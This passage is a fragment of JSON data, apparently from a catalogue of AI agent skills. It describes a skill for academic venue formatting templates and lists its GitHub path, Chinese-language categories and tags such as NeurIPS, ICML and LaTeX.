manuscripts for journal submission, conference papers, research posters, or grant proposals and need venue-specific formatting requirements and templates.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fvenue-templates\u002FSKILL.md",[243,246,249,250],{"categoryNo":244,"categoryName":245,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":247,"categoryName":248,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000021","资料检索与研究",{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":251,"categoryName":252,"taxonomyType":149,"taxonomyTypeDesc":150},"01JBSEEDCAT000000000000036","内容创作者",[254,255,256,257,258,259,260,261,160,39,163,164,165,262,263,264,265,266,210,267],"templates","venue templates","research","guidelines","NeurIPS","ICML","LaTeX","science","proposals","Academic","requirements","formatting","journal","chi"]